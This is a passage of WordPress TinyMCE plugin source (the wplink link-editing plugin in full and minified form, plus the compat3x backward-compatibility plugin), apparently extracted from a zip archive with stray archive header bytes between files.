				if ( $element.attr( 'href' ) === '_wp_link_placeholder' ) {
					editor.dom.remove( element, true );
				} else if ( $element.attr( 'data-wplink-edit' ) ) {
					$element.attr( 'data-wplink-edit', null );
				}
			});
		}

		function removePlaceholderStrings( content, dataAttr ) {
			return content.replace( /(<a [^>]+>)([\s\S]*?)<\/a>/g, function( all, tag, text ) {
				if ( tag.indexOf( ' href="_wp_link_placeholder"' ) > -1 ) {
					return text;
				}

				if ( dataAttr ) {
					tag = tag.replace( / data-wplink-edit="true"/g, '' );
				}

				tag = tag.replace( / data-wplink-url-error="true"/g, '' );

				return tag + text + '</a>';
			});
		}

		function checkLink( node ) {
			var $link = editor.$( node );
			var href = $link.attr( 'href' );

			if ( ! href || typeof $ === 'undefined' ) {
				return;
			}

			hasLinkError = false;

			if ( /^http/i.test( href ) && ( ! urlRegex1.test( href ) || ! urlRegex2.test( href ) ) ) {
				hasLinkError = true;
				$link.attr( 'data-wplink-url-error', 'true' );
				speak( editor.translate( 'Warning: the link has been inserted but may have errors. Please test it.' ), 'assertive' );
			} else {
				$link.removeAttr( 'data-wplink-url-error' );
			}
		}

		editor.on( 'preinit', function() {
			if ( editor.wp && editor.wp._createToolbar ) {
				toolbar = editor.wp._createToolbar( [
					'wp_link_preview',
					'wp_link_edit',
					'wp_link_remove'
				], true );

				var editButtons = [
					'wp_link_input',
					'wp_link_apply'
				];

				if ( typeof window.wpLink !== 'undefined' ) {
					editButtons.push( 'wp_link_advanced' );
				}

				editToolbar = editor.wp._createToolbar( editButtons, true );

				editToolbar.on( 'show', function() {
					if ( typeof window.wpLink === 'undefined' || ! window.wpLink.modalOpen ) {
						window.setTimeout( function() {
							var element = editToolbar.$el.find( 'input.ui-autocomplete-input' )[0],
								selection = linkNode && ( linkNode.textContent || linkNode.innerText );

							if ( element ) {
								if ( ! element.value && selection && typeof window.wpLink !== 'undefined' ) {
									element.value = window.wpLink.getUrlFromSelection( selection );
								}

								if ( ! doingUndoRedo ) {
									element.focus();
									element.select();
								}
							}
						} );
					}
				} );

				editToolbar.on( 'hide', function() {
					if ( ! editToolbar.scrolling ) {
						editor.execCommand( 'wp_link_cancel' );
					}
				} );
			}
		} );

		editor.addCommand( 'WP_Link', function() {
			if ( tinymce.Env.ie && tinymce.Env.ie < 10 && typeof window.wpLink !== 'undefined' ) {
				window.wpLink.open( editor.id );
				return;
			}

			linkNode = getSelectedLink();
			editToolbar.tempHide = false;

			if ( ! linkNode ) {
				removePlaceholders();
				editor.execCommand( 'mceInsertLink', false, { href: '_wp_link_placeholder' } );

				linkNode = editor.$( 'a[href="_wp_link_placeholder"]' )[0];
				editor.nodeChanged();
			}

			editor.dom.setAttribs( linkNode, { 'data-wplink-edit': true } );
		} );

		editor.addCommand( 'wp_link_apply', function() {
			if ( editToolbar.scrolling ) {
				return;
			}

			var href, text;

			if ( linkNode ) {
				href = inputInstance.getURL();
				text = inputInstance.getLinkText();
				editor.focus();

				var parser = document.createElement( 'a' );
				parser.href = href;

				if ( 'javascript:' === parser.protocol || 'data:' === parser.protocol ) { // jshint ignore:line
					href = '';
				}

				if ( ! href ) {
					editor.dom.remove( linkNode, true );
					return;
				}

				if ( ! /^(?:[a-z]+:|#|\?|\.|\/)/.test( href ) && ! emailRegex.test( href ) ) {
					href = 'http://' + href;
				}

				editor.dom.setAttribs( linkNode, { href: href, 'data-wplink-edit': null } );

				if ( ! tinymce.trim( linkNode.innerHTML ) ) {
					editor.$( linkNode ).text( text || href );
				}

				checkLink( linkNode );
			}

			inputInstance.reset();
			editor.nodeChanged();

			// Audible confirmation message when a link has been inserted in the Editor.
			if ( typeof window.wpLinkL10n !== 'undefined' && ! hasLinkError ) {
				speak( window.wpLinkL10n.linkInserted );
			}
		} );

		editor.addCommand( 'wp_link_cancel', function() {
			inputInstance.reset();

			if ( ! editToolbar.tempHide ) {
				removePlaceholders();
			}
		} );

		editor.addCommand( 'wp_unlink', function() {
			editor.execCommand( 'unlink' );
			editToolbar.tempHide = false;
			editor.execCommand( 'wp_link_cancel' );
		} );

		// WP default shortcuts.
		editor.addShortcut( 'access+a', '', 'WP_Link' );
		editor.addShortcut( 'access+s', '', 'wp_unlink' );
		// The "de-facto standard" shortcut, see #27305.
		editor.addShortcut( 'meta+k', '', 'WP_Link' );

		editor.addButton( 'link', {
			icon: 'link',
			tooltip: 'Insert/edit link',
			cmd: 'WP_Link',
			stateSelector: 'a[href]'
		});

		editor.addButton( 'unlink', {
			icon: 'unlink',
			tooltip: 'Remove link',
			cmd: 'unlink'
		});

		editor.addMenuItem( 'link', {
			icon: 'link',
			text: 'Insert/edit link',
			cmd: 'WP_Link',
			stateSelector: 'a[href]',
			context: 'insert',
			prependToContext: true
		});

		editor.on( 'pastepreprocess', function( event ) {
			var pastedStr = event.content,
				regExp = /^(?:https?:)?\/\/\S+$/i;

			if ( ! editor.selection.isCollapsed() && ! regExp.test( editor.selection.getContent() ) ) {
				pastedStr = pastedStr.replace( /<[^>]+>/g, '' );
				pastedStr = tinymce.trim( pastedStr );

				if ( regExp.test( pastedStr ) ) {
					editor.execCommand( 'mceInsertLink', false, {
						href: editor.dom.decode( pastedStr )
					} );

					event.preventDefault();
				}
			}
		} );

		// Remove any remaining placeholders on saving.
		editor.on( 'savecontent', function( event ) {
			event.content = removePlaceholderStrings( event.content, true );
		});

		// Prevent adding undo levels on inserting link placeholder.
		editor.on( 'BeforeAddUndo', function( event ) {
			if ( event.lastLevel && event.lastLevel.content && event.level.content &&
				event.lastLevel.content === removePlaceholderStrings( event.level.content ) ) {

				event.preventDefault();
			}
		});

		// When doing undo and redo with keyboard shortcuts (Ctrl|Cmd+Z, Ctrl|Cmd+Shift+Z, Ctrl|Cmd+Y),
		// set a flag to not focus the inline dialog. The editor has to remain focused so the users can do consecutive undo/redo.
		editor.on( 'keydown', function( event ) {
			if ( event.keyCode === 27 ) { // Esc
				editor.execCommand( 'wp_link_cancel' );
			}

			if ( event.altKey || ( tinymce.Env.mac && ( ! event.metaKey || event.ctrlKey ) ) ||
				( ! tinymce.Env.mac && ! event.ctrlKey ) ) {

				return;
			}

			if ( event.keyCode === 89 || event.keyCode === 90 ) { // Y or Z
				doingUndoRedo = true;

				window.clearTimeout( doingUndoRedoTimer );
				doingUndoRedoTimer = window.setTimeout( function() {
					doingUndoRedo = false;
				}, 500 );
			}
		} );

		editor.addButton( 'wp_link_preview', {
			type: 'WPLinkPreview',
			onPostRender: function() {
				previewInstance = this;
			}
		} );

		editor.addButton( 'wp_link_input', {
			type: 'WPLinkInput',
			onPostRender: function() {
				var element = this.getEl(),
					input = element.firstChild.nextSibling,
					$input, cache, last;

				inputInstance = this;

				if ( $ && $.ui && $.ui.autocomplete ) {
					$input = $( input );

					$input.on( 'keydown', function() {
						$input.removeAttr( 'aria-activedescendant' );
					} )
					.autocomplete( {
						source: function( request, response ) {
							if ( last === request.term ) {
								response( cache );
								return;
							}

							if ( /^https?:/.test( request.term ) || request.term.indexOf( '.' ) !== -1 ) {
								return response();
							}

							$.post( window.ajaxurl, {
								action: 'wp-link-ajax',
								page: 1,
								search: request.term,
								_ajax_linking_nonce: $( '#_ajax_linking_nonce' ).val()
							}, function( data ) {
								cache = data;
								response( data );
							}, 'json' );

							last = request.term;
						},
						focus: function( event, ui ) {
							$input.attr( 'aria-activedescendant', 'mce-wp-autocomplete-' + ui.item.ID );
							/*
							 * Don't empty the URL input field, when using the arrow keys to
							 * highlight items. See api.jqueryui.com/autocomplete/#event-focus
							 */
							event.preventDefault();
						},
						select: function( event, ui ) {
							$input.val( ui.item.permalink );
							$( element.firstChild.nextSibling.nextSibling ).val( ui.item.title );

							if ( 9 === event.keyCode && typeof window.wpLinkL10n !== 'undefined' ) {
								// Audible confirmation message when a link has been selected.
								speak( window.wpLinkL10n.linkSelected );
							}

							return false;
						},
						open: function() {
							$input.attr( 'aria-expanded', 'true' );
							editToolbar.blockHide = true;
						},
						close: function() {
							$input.attr( 'aria-expanded', 'false' );
							editToolbar.blockHide = false;
						},
						minLength: 2,
						position: {
							my: 'left top+2'
						},
						messages: {
							noResults: __( 'No results found.' ) ,
							results: function( number ) {
								return sprintf(
									/* translators: %d: Number of search results found. */
									_n(
										'%d result found. Use up and down arrow keys to navigate.',
										'%d results found. Use up and down arrow keys to navigate.',
										number
									),
									number
								);
							}
						}
					} ).autocomplete( 'instance' )._renderItem = function( ul, item ) {
						var fallbackTitle = ( typeof window.wpLinkL10n !== 'undefined' ) ? window.wpLinkL10n.noTitle : '',
							title = item.title ? item.title : fallbackTitle;

						return $( '<li role="option" id="mce-wp-autocomplete-' + item.ID + '">' )
						.append( '<span>' + title + '</span>&nbsp;<span class="wp-editor-float-right">' + item.info + '</span>' )
						.appendTo( ul );
					};

					$input.attr( {
						'role': 'combobox',
						'aria-autocomplete': 'list',
						'aria-expanded': 'false',
						'aria-owns': $input.autocomplete( 'widget' ).attr( 'id' )
					} )
					.on( 'focus', function() {
						var inputValue = $input.val();
						/*
						 * Don't trigger a search if the URL field already has a link or is empty.
						 * Also, avoids screen readers announce `No search results`.
						 */
						if ( inputValue && ! /^https?:/.test( inputValue ) ) {
							$input.autocomplete( 'search' );
						}
					} )
					// Returns a jQuery object containing the menu element.
					.autocomplete( 'widget' )
						.addClass( 'wplink-autocomplete' )
						.attr( 'role', 'listbox' )
						.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
						/*
						 * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
						 * The `menufocus` and `menublur` events are the same events used to add and remove
						 * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
						 */
						.on( 'menufocus', function( event, ui ) {
							ui.item.attr( 'aria-selected', 'true' );
						})
						.on( 'menublur', function() {
							/*
							 * The `menublur` event returns an object where the item is `null`
							 * so we need to find the active item with other means.
							 */
							$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
						});
				}

				tinymce.$( input ).on( 'keydown', function( event ) {
					if ( event.keyCode === 13 ) {
						editor.execCommand( 'wp_link_apply' );
						event.preventDefault();
					}
				} );
			}
		} );

		editor.on( 'wptoolbar', function( event ) {
			var linkNode = editor.dom.getParent( event.element, 'a' ),
				$linkNode, href, edit;

			if ( typeof window.wpLink !== 'undefined' && window.wpLink.modalOpen ) {
				editToolbar.tempHide = true;
				return;
			}

			editToolbar.tempHide = false;

			if ( linkNode ) {
				$linkNode = editor.$( linkNode );
				href = $linkNode.attr( 'href' );
				edit = $linkNode.attr( 'data-wplink-edit' );

				if ( href === '_wp_link_placeholder' || edit ) {
					if ( href !== '_wp_link_placeholder' && ! inputInstance.getURL() ) {
						inputInstance.setURL( href );
					}

					event.element = linkNode;
					event.toolbar = editToolbar;
				} else if ( href && ! $linkNode.find( 'img' ).length ) {
					previewInstance.setURL( href );
					event.element = linkNode;
					event.toolbar = toolbar;

					if ( $linkNode.attr( 'data-wplink-url-error' ) === 'true' ) {
						toolbar.$el.find( '.wp-link-preview a' ).addClass( 'wplink-url-error' );
					} else {
						toolbar.$el.find( '.wp-link-preview a' ).removeClass( 'wplink-url-error' );
						hasLinkError = false;
					}
				}
			} else if ( editToolbar.visible() ) {
				editor.execCommand( 'wp_link_cancel' );
			}
		} );

		editor.addButton( 'wp_link_edit', {
			tooltip: 'Edit|button', // '|button' is not displayed, only used for context.
			icon: 'dashicon dashicons-edit',
			cmd: 'WP_Link'
		} );

		editor.addButton( 'wp_link_remove', {
			tooltip: 'Remove link',
			icon: 'dashicon dashicons-editor-unlink',
			cmd: 'wp_unlink'
		} );

		editor.addButton( 'wp_link_advanced', {
			tooltip: 'Link options',
			icon: 'dashicon dashicons-admin-generic',
			onclick: function() {
				if ( typeof window.wpLink !== 'undefined' ) {
					var url = inputInstance.getURL() || null,
						text = inputInstance.getLinkText() || null;

					window.wpLink.open( editor.id, url, text );

					editToolbar.tempHide = true;
					editToolbar.hide();
				}
			}
		} );

		editor.addButton( 'wp_link_apply', {
			tooltip: 'Apply',
			icon: 'dashicon dashicons-editor-break',
			cmd: 'wp_link_apply',
			classes: 'widget btn primary'
		} );

		return {
			close: function() {
				editToolbar.tempHide = false;
				editor.execCommand( 'wp_link_cancel' );
			},
			checkLink: checkLink
		};
	} );
} )( window.tinymce );
PK�\d[�\u�##wplink/plugin.min.jsnu�[���!function(L){L.ui.Factory.add("WPLinkPreview",L.ui.Control.extend({url:"#",renderHtml:function(){return'<div id="'+this._id+'" class="wp-link-preview"><a href="'+this.url+'" target="_blank" tabindex="-1">'+this.url+"</a></div>"},setURL:function(e){var t,n;this.url!==e&&(this.url=e,40<(e=""===(e="/"===(e=(e=-1!==(t=(e=-1!==(t=(e=(e=window.decodeURIComponent(e)).replace(/^(?:https?:)?\/\/(?:www\.)?/,"")).indexOf("?"))?e.slice(0,t):e).indexOf("#"))?e.slice(0,t):e).replace(/(?:index)?\.html$/,"")).charAt(e.length-1)?e.slice(0,-1):e)?this.url:e).length&&-1!==(t=e.indexOf("/"))&&-1!==(n=e.lastIndexOf("/"))&&n!==t&&(t+e.length-n<40&&(n=-(40-(t+1))),e=e.slice(0,t+1)+"\u2026"+e.slice(n)),L.$(this.getEl().firstChild).attr("href",this.url).text(e))}})),L.ui.Factory.add("WPLinkInput",L.ui.Control.extend({renderHtml:function(){return'<div id="'+this._id+'" class="wp-link-input"><label for="'+this._id+'_label">'+L.translate("Paste URL or type to search")+'</label><input id="'+this._id+'_label" type="text" value="" /><input type="text" style="display:none" value="" /></div>'},setURL:function(e){this.getEl().firstChild.nextSibling.value=e},getURL:function(){return L.trim(this.getEl().firstChild.nextSibling.value)},getLinkText:function(){var e=this.getEl().firstChild.nextSibling.nextSibling.value;return L.trim(e)?e.replace(/[\r\n\t ]+/g," "):""},reset:function(){var e=this.getEl().firstChild.nextSibling;e.value="",e.nextSibling.value=""}})),L.PluginManager.add("wplink",function(l){var a,r,d,c,i,n,t,p=window.jQuery,o=/^(mailto:)?[a-z0-9._%+-]+@[a-z0-9][a-z0-9.-]*\.[a-z]{2,63}$/i,s=/^https?:\/\/([^\s/?.#-][^\s\/?.#]*\.?)+(\/[^\s"]*)?$/i,u=/^https?:\/\/[^\/]+\.[^\/]+($|\/)/i,w=void 0!==window.wp&&window.wp.a11y&&window.wp.a11y.speak?window.wp.a11y.speak:function(){},k=!1,m=window.wp.i18n.__,f=window.wp.i18n._n,h=window.wp.i18n.sprintf;function _(){l.$("a").each(function(e,t){var n=l.$(t);"_wp_link_placeholder"===n.attr("href")?l.dom.remove(t,!0):n.attr("data-wplink-edit")&&n.attr("data-wplink-edit",null)})}function v(e,i){return e.replace(/(<a [^>]+>)([\s\S]*?)<\/a>/g,function(e,t,n){return-1<t.indexOf(' href="_wp_link_placeholder"')?n:(t=(t=i?t.replace(/ data-wplink-edit="true"/g,""):t).replace(/ data-wplink-url-error="true"/g,""))+n+"</a>"})}function g(e){var e=l.$(e),t=e.attr("href");t&&void 0!==p&&(k=!1,!/^http/i.test(t)||s.test(t)&&u.test(t)?e.removeAttr("data-wplink-url-error"):(k=!0,e.attr("data-wplink-url-error","true"),w(l.translate("Warning: the link has been inserted but may have errors. Please test it."),"assertive")))}return l.on("preinit",function(){var e;l.wp&&l.wp._createToolbar&&(a=l.wp._createToolbar(["wp_link_preview","wp_link_edit","wp_link_remove"],!0),e=["wp_link_input","wp_link_apply"],void 0!==window.wpLink&&e.push("wp_link_advanced"),(r=l.wp._createToolbar(e,!0)).on("show",function(){void 0!==window.wpLink&&window.wpLink.modalOpen||window.setTimeout(function(){var e=r.$el.find("input.ui-autocomplete-input")[0],t=i&&(i.textContent||i.innerText);e&&(!e.value&&t&&void 0!==window.wpLink&&(e.value=window.wpLink.getUrlFromSelection(t)),n||(e.focus(),e.select()))})}),r.on("hide",function(){r.scrolling||l.execCommand("wp_link_cancel")}))}),l.addCommand("WP_Link",function(){var e,t,n;L.Env.ie&&L.Env.ie<10&&void 0!==window.wpLink?window.wpLink.open(l.id):(t=l.selection.getStart(),(n=l.dom.getParent(t,"a[href]"))||(e=l.selection.getContent({format:"raw"}))&&-1!==e.indexOf("</a>")&&(n=(e=e.match(/href="([^">]+)"/))&&e[1]?l.$('a[href="'+e[1]+'"]',t)[0]:n)&&l.selection.select(n),i=n,r.tempHide=!1,i||(_(),l.execCommand("mceInsertLink",!1,{href:"_wp_link_placeholder"}),i=l.$('a[href="_wp_link_placeholder"]')[0],l.nodeChanged()),l.dom.setAttribs(i,{"data-wplink-edit":!0}))}),l.addCommand("wp_link_apply",function(){if(!r.scrolling){var e,t;if(i){e=c.getURL(),t=c.getLinkText(),l.focus();var n=document.createElement("a");if(n.href=e,!(e="javascript:"!==n.protocol&&"data:"!==n.protocol?e:""))return void l.dom.remove(i,!0);/^(?:[a-z]+:|#|\?|\.|\/)/.test(e)||o.test(e)||(e="http://"+e),l.dom.setAttribs(i,{href:e,"data-wplink-edit":null}),L.trim(i.innerHTML)||l.$(i).text(t||e),g(i)}c.reset(),l.nodeChanged(),void 0===window.wpLinkL10n||k||w(window.wpLinkL10n.linkInserted)}}),l.addCommand("wp_link_cancel",function(){c.reset(),r.tempHide||_()}),l.addCommand("wp_unlink",function(){l.execCommand("unlink"),r.tempHide=!1,l.execCommand("wp_link_cancel")}),l.addShortcut("access+a","","WP_Link"),l.addShortcut("access+s","","wp_unlink"),l.addShortcut("meta+k","","WP_Link"),l.addButton("link",{icon:"link",tooltip:"Insert/edit link",cmd:"WP_Link",stateSelector:"a[href]"}),l.addButton("unlink",{icon:"unlink",tooltip:"Remove link",cmd:"unlink"}),l.addMenuItem("link",{icon:"link",text:"Insert/edit link",cmd:"WP_Link",stateSelector:"a[href]",context:"insert",prependToContext:!0}),l.on("pastepreprocess",function(e){var t=e.content,n=/^(?:https?:)?\/\/\S+$/i;l.selection.isCollapsed()||n.test(l.selection.getContent())||(t=t.replace(/<[^>]+>/g,""),t=L.trim(t),n.test(t)&&(l.execCommand("mceInsertLink",!1,{href:l.dom.decode(t)}),e.preventDefault()))}),l.on("savecontent",function(e){e.content=v(e.content,!0)}),l.on("BeforeAddUndo",function(e){e.lastLevel&&e.lastLevel.content&&e.level.content&&e.lastLevel.content===v(e.level.content)&&e.preventDefault()}),l.on("keydown",function(e){27===e.keyCode&&l.execCommand("wp_link_cancel"),e.altKey||L.Env.mac&&(!e.metaKey||e.ctrlKey)||!L.Env.mac&&!e.ctrlKey||89!==e.keyCode&&90!==e.keyCode||(n=!0,window.clearTimeout(t),t=window.setTimeout(function(){n=!1},500))}),l.addButton("wp_link_preview",{type:"WPLinkPreview",onPostRender:function(){d=this}}),l.addButton("wp_link_input",{type:"WPLinkInput",onPostRender:function(){var n,i,o,a=this.getEl(),e=a.firstChild.nextSibling;c=this,p&&p.ui&&p.ui.autocomplete&&((n=p(e)).on("keydown",function(){n.removeAttr("aria-activedescendant")}).autocomplete({source:function(e,t){if(o===e.term)t(i);else{if(/^https?:/.test(e.term)||-1!==e.term.indexOf("."))return t();p.post(window.ajaxurl,{action:"wp-link-ajax",page:1,search:e.term,_ajax_linking_nonce:p("#_ajax_linking_nonce").val()},function(e){t(i=e)},"json"),o=e.term}},focus:function(e,t){n.attr("aria-activedescendant","mce-wp-autocomplete-"+t.item.ID),e.preventDefault()},select:function(e,t){return n.val(t.item.permalink),p(a.firstChild.nextSibling.nextSibling).val(t.item.title),9===e.keyCode&&void 0!==window.wpLinkL10n&&w(window.wpLinkL10n.linkSelected),!1},open:function(){n.attr("aria-expanded","true"),r.blockHide=!0},close:function(){n.attr("aria-expanded","false"),r.blockHide=!1},minLength:2,position:{my:"left top+2"},messages:{noResults:m("No results found."),results:function(e){return h(f("%d result found. Use up and down arrow keys to navigate.","%d results found. Use up and down arrow keys to navigate.",e),e)}}}).autocomplete("instance")._renderItem=function(e,t){var n=void 0!==window.wpLinkL10n?window.wpLinkL10n.noTitle:"",n=t.title||n;return p('<li role="option" id="mce-wp-autocomplete-'+t.ID+'">').append("<span>"+n+'</span>&nbsp;<span class="wp-editor-float-right">'+t.info+"</span>").appendTo(e)},n.attr({role:"combobox","aria-autocomplete":"list","aria-expanded":"false","aria-owns":n.autocomplete("widget").attr("id")}).on("focus",function(){var e=n.val();e&&!/^https?:/.test(e)&&n.autocomplete("search")}).autocomplete("widget").addClass("wplink-autocomplete").attr("role","listbox").removeAttr("tabindex").on("menufocus",function(e,t){t.item.attr("aria-selected","true")}).on("menublur",function(){p(this).find('[aria-selected="true"]').removeAttr("aria-selected")})),L.$(e).on("keydown",function(e){13===e.keyCode&&(l.execCommand("wp_link_apply"),e.preventDefault())})}}),l.on("wptoolbar",function(e){var t,n,i,o=l.dom.getParent(e.element,"a");void 0!==window.wpLink&&window.wpLink.modalOpen?r.tempHide=!0:(r.tempHide=!1,o?(n=(t=l.$(o)).attr("href"),i=t.attr("data-wplink-edit"),"_wp_link_placeholder"===n||i?("_wp_link_placeholder"===n||c.getURL()||c.setURL(n),e.element=o,e.toolbar=r):n&&!t.find("img").length&&(d.setURL(n),e.element=o,e.toolbar=a,"true"===t.attr("data-wplink-url-error")?a.$el.find(".wp-link-preview a").addClass("wplink-url-error"):(a.$el.find(".wp-link-preview a").removeClass("wplink-url-error"),k=!1))):r.visible()&&l.execCommand("wp_link_cancel"))}),l.addButton("wp_link_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",cmd:"WP_Link"}),l.addButton("wp_link_remove",{tooltip:"Remove link",icon:"dashicon dashicons-editor-unlink",cmd:"wp_unlink"}),l.addButton("wp_link_advanced",{tooltip:"Link options",icon:"dashicon dashicons-admin-generic",onclick:function(){var e,t;void 0!==window.wpLink&&(e=c.getURL()||null,t=c.getLinkText()||null,window.wpLink.open(l.id,e,t),r.tempHide=!0,r.hide())}}),l.addButton("wp_link_apply",{tooltip:"Apply",icon:"dashicon dashicons-editor-break",cmd:"wp_link_apply",classes:"widget btn primary"}),{close:function(){r.tempHide=!1,l.execCommand("wp_link_cancel")},checkLink:g}})}(window.tinymce);PK�\d[M���$�$compat3x/plugin.jsnu�[���/**
 * plugin.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

/*global tinymce:true, console:true */
/*eslint no-console:0, new-cap:0 */

/**
 * This plugin adds missing events form the 4.x API back. Not every event is
 * properly supported but most things should work.
 *
 * Unsupported things:
 *  - No editor.onEvent
 *  - Can't cancel execCommands with beforeExecCommand
 */
(function (tinymce) {
  var reported;

  function noop() {
  }

  function log(apiCall) {
    if (!reported && window && window.console) {
      reported = true;
      console.log("Deprecated TinyMCE API call: " + apiCall);
    }
  }

  function Dispatcher(target, newEventName, argsMap, defaultScope) {
    target = target || this;
    var cbs = [];

    if (!newEventName) {
      this.add = this.addToTop = this.remove = this.dispatch = noop;
      return;
    }

    this.add = function (callback, scope, prepend) {
      log('<target>.on' + newEventName + ".add(..)");

      // Convert callback({arg1:x, arg2:x}) -> callback(arg1, arg2)
      function patchedEventCallback(e) {
        var callbackArgs = [];

        if (typeof argsMap == "string") {
          argsMap = argsMap.split(" ");
        }

        if (argsMap && typeof argsMap !== "function") {
          for (var i = 0; i < argsMap.length; i++) {
            callbackArgs.push(e[argsMap[i]]);
          }
        }

        if (typeof argsMap == "function") {
          callbackArgs = argsMap(newEventName, e, target);
          if (!callbackArgs) {
            return;
          }
        }

        if (!argsMap) {
          callbackArgs = [e];
        }

        callbackArgs.unshift(defaultScope || target);

        if (callback.apply(scope || defaultScope || target, callbackArgs) === false) {
          e.stopImmediatePropagation();
        }
      }

      target.on(newEventName, patchedEventCallback, prepend);

      var handlers = {
        original: callback,
        patched: patchedEventCallback
      };

      cbs.push(handlers);
      return patchedEventCallback;
    };

    this.addToTop = function (callback, scope) {
      this.add(callback, scope, true);
    };

    this.remove = function (callback) {
      cbs.forEach(function (item, i) {
        if (item.original === callback) {
          cbs.splice(i, 1);
          return target.off(newEventName, item.patched);
        }
      });

      return target.off(newEventName, callback);
    };

    this.dispatch = function () {
      target.fire(newEventName);
      return true;
    };
  }

  tinymce.util.Dispatcher = Dispatcher;
  tinymce.onBeforeUnload = new Dispatcher(tinymce, "BeforeUnload");
  tinymce.onAddEditor = new Dispatcher(tinymce, "AddEditor", "editor");
  tinymce.onRemoveEditor = new Dispatcher(tinymce, "RemoveEditor", "editor");

  tinymce.util.Cookie = {
    get: noop, getHash: noop, remove: noop, set: noop, setHash: noop
  };

  function patchEditor(editor) {

    function translate(str) {
      var prefix = editor.settings.language || "en";
      var prefixedStr = [prefix, str].join('.');
      var translatedStr = tinymce.i18n.translate(prefixedStr);

      return prefixedStr !== translatedStr ? translatedStr : tinymce.i18n.translate(str);
    }

    function patchEditorEvents(oldEventNames, argsMap) {
      tinymce.each(oldEventNames.split(" "), function (oldName) {
        editor["on" + oldName] = new Dispatcher(editor, oldName, argsMap);
      });
    }

    function convertUndoEventArgs(type, event, target) {
      return [
        event.level,
        target
      ];
    }

    function filterSelectionEvents(needsSelection) {
      return function (type, e) {
        if ((!e.selection && !needsSelection) || e.selection == needsSelection) {
          return [e];
        }
      };
    }

    if (editor.controlManager) {
      return;
    }

    function cmNoop() {
      var obj = {}, methods = 'add addMenu addSeparator collapse createMenu destroy displayColor expand focus ' +
        'getLength hasMenus hideMenu isActive isCollapsed isDisabled isRendered isSelected mark ' +
        'postRender remove removeAll renderHTML renderMenu renderNode renderTo select selectByIndex ' +
        'setActive setAriaProperty setColor setDisabled setSelected setState showMenu update';

      log('editor.controlManager.*');

      function _noop() {
        return cmNoop();
      }

      tinymce.each(methods.split(' '), function (method) {
        obj[method] = _noop;
      });

      return obj;
    }

    editor.controlManager = {
      buttons: {},

      setDisabled: function (name, state) {
        log("controlManager.setDisabled(..)");

        if (this.buttons[name]) {
          this.buttons[name].disabled(state);
        }
      },

      setActive: function (name, state) {
        log("controlManager.setActive(..)");

        if (this.buttons[name]) {
          this.buttons[name].active(state);
        }
      },

      onAdd: new Dispatcher(),
      onPostRender: new Dispatcher(),

      add: function (obj) {
        return obj;
      },
      createButton: cmNoop,
      createColorSplitButton: cmNoop,
      createControl: cmNoop,
      createDropMenu: cmNoop,
      createListBox: cmNoop,
      createMenuButton: cmNoop,
      createSeparator: cmNoop,
      createSplitButton: cmNoop,
      createToolbar: cmNoop,
      createToolbarGroup: cmNoop,
      destroy: noop,
      get: noop,
      setControlType: cmNoop
    };

    patchEditorEvents("PreInit BeforeRenderUI PostRender Load Init Remove Activate Deactivate", "editor");
    patchEditorEvents("Click MouseUp MouseDown DblClick KeyDown KeyUp KeyPress ContextMenu Paste Submit Reset");
    patchEditorEvents("BeforeExecCommand ExecCommand", "command ui value args"); // args.terminate not supported
    patchEditorEvents("PreProcess PostProcess LoadContent SaveContent Change");
    patchEditorEvents("BeforeSetContent BeforeGetContent SetContent GetContent", filterSelectionEvents(false));
    patchEditorEvents("SetProgressState", "state time");
    patchEditorEvents("VisualAid", "element hasVisual");
    patchEditorEvents("Undo Redo", convertUndoEventArgs);

    patchEditorEvents("NodeChange", function (type, e) {
      return [
        editor.controlManager,
        e.element,
        editor.selection.isCollapsed(),
        e
      ];
    });

    var originalAddButton = editor.addButton;
    editor.addButton = function (name, settings) {
      var originalOnPostRender;

      function patchedPostRender() {
        editor.controlManager.buttons[name] = this;

        if (originalOnPostRender) {
          return originalOnPostRender.apply(this, arguments);
        }
      }

      for (var key in settings) {
        if (key.toLowerCase() === "onpostrender") {
          originalOnPostRender = settings[key];
          settings.onPostRender = patchedPostRender;
        }
      }

      if (!originalOnPostRender) {
        settings.onPostRender = patchedPostRender;
      }

      if (settings.title) {
        settings.title = translate(settings.title);
      }

      return originalAddButton.call(this, name, settings);
    };

    editor.on('init', function () {
      var undoManager = editor.undoManager, selection = editor.selection;

      undoManager.onUndo = new Dispatcher(editor, "Undo", convertUndoEventArgs, null, undoManager);
      undoManager.onRedo = new Dispatcher(editor, "Redo", convertUndoEventArgs, null, undoManager);
      undoManager.onBeforeAdd = new Dispatcher(editor, "BeforeAddUndo", null, undoManager);
      undoManager.onAdd = new Dispatcher(editor, "AddUndo", null, undoManager);

      selection.onBeforeGetContent = new Dispatcher(editor, "BeforeGetContent", filterSelectionEvents(true), selection);
      selection.onGetContent = new Dispatcher(editor, "GetContent", filterSelectionEvents(true), selection);
      selection.onBeforeSetContent = new Dispatcher(editor, "BeforeSetContent", filterSelectionEvents(true), selection);
      selection.onSetContent = new Dispatcher(editor, "SetContent", filterSelectionEvents(true), selection);
    });

    editor.on('BeforeRenderUI', function () {
      var windowManager = editor.windowManager;

      windowManager.onOpen = new Dispatcher();
      windowManager.onClose = new Dispatcher();
      windowManager.createInstance = function (className, a, b, c, d, e) {
        log("windowManager.createInstance(..)");

        var constr = tinymce.resolve(className);
        return new constr(a, b, c, d, e);
      };
    });
  }

  tinymce.on('SetupEditor', function (e) {
    patchEditor(e.editor);
  });

  tinymce.PluginManager.add("compat3x", patchEditor);

  tinymce.addI18n = function (prefix, o) {
    var I18n = tinymce.util.I18n, each = tinymce.each;

    if (typeof prefix == "string" && prefix.indexOf('.') === -1) {
      I18n.add(prefix, o);
      return;
    }

    if (!tinymce.is(prefix, 'string')) {
      each(prefix, function (o, lc) {
        each(o, function (o, g) {
          each(o, function (o, k) {
            if (g === 'common') {
              I18n.data[lc + '.' + k] = o;
            } else {
              I18n.data[lc + '.' + g + '.' + k] = o;
            }
          });
        });
      });
    } else {
      each(o, function (o, k) {
        I18n.data[prefix + '.' + k] = o;
      });
    }
  };
})(tinymce);
PK�\d[[wH��compat3x/css/dialog.cssnu�[���/*
 * Edited for compatibility with old TinyMCE 3.x plugins in WordPress.
